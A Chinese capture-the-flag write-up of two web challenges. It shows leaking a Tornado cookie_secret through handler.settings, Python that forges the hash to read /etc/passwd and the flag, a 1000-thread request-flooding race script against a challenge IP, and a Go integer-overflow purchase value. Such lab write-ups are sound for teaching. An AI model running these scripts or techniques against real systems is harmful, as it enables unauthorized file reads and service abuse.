easy tornado

这里有三个文件。打开第一个

第一个reder() 这个是tor 框架的一个返回函数。

可以返回html 之类的信息。

里面有一个这种的方法

handler.settings

{‘login_url’: ‘/login’, ‘template_path’: ‘templates’, ‘xsrf_cookies’: True, ‘cookie_secret’: ‘nem?a>Q*o.U~gcXY(<Pz$uVNlF9^y-B#7ZE45kdqpT{&I%6]08b_iRjKHSW3J}1!’, ‘debug’: False, ‘file_path’: ‘/www/static/files’, ‘static_path’: ‘static’}

有了cookie_secert 了。加密一下

key = "nem?a>Q*o.U~gcXY(<Pz$uVNlF9^y-B#7ZE45kdqpT{&I%6]08b_iRjKHSW3J}1!"
filename = "/etc/passwd"
a2=hashlib.md5(filename).hexdigest()
a=hashlib.md5(key+a2).hexdigest()
print(a)

读取一下/etc/passwd

读取flag

/fllllllllllag

注册一个用户

经过测试大辣条这里有竞争

写了一个脚本(burp 也可以,只是我burp有问题)

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author: liang 
import json
import requests
import time
from concurrent.futures import ThreadPoolExecutor

def echke():
    headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99',
            'Cookie': 'go_iris_cookie=8c916c0f-cdc0-4707-b86c-2e71235cad32',
    }
    data={'number':'3689348814741910324'}
    url='http://49.4.79.1:32228/buylt'
    ret=requests.post(url=url,headers=headers,data=data)
    print(ret.text)


thread = 1000
try:
    with ThreadPoolExecutor(thread) as exector:
        for i in range(1,5000000000000000000):
            response = exector.submit(echke,)
            if  response:
                pass
            else:
                print(response)
except Exception as e:
    try:
        with ThreadPoolExecutor(thread) as exector:
            for i in range(1, 5000000000000000000):
                response = exector.submit(echke, )
                if response:
                    pass
                else:
                    print(response)
    except Exception as e:
        with ThreadPoolExecutor(thread) as exector:
            for i in range(1, 5000000000000000000):
                response = exector.submit(echke, )
                if response:
                    pass
                else:
                    print(response)

测试了好多次。觉得辣椒王有竞争。但是限制在于金币的所需有限。一辈子都不可能拿到flag 这种的

判断了这个web 框架不是php 的,

想了一下。如果是python 的是话int 类型是不存在溢出的情况。

看了一下也没有返回web 服务器的类型

问了一下大佬说,go语言的程序。百度了一下go 语言的int 溢出

参考文档:http://www.it1352.com/808569.html

溢出:

int: 2**32-1 = 4294967295

long: 2**63 -1 = 9223372036854775807

longlong: 2**64-1 = 18446744073709551615

但是要注意一点,这个题的逻辑是,numer*5<最大值

所以,其临界值应该为18446744073709551615 / 5 == 3689348814741910323

于是尝试3689348814741910323+1 == 3689348814741910324

溢出的时间点找到了

最终测试3689348814741910324  成功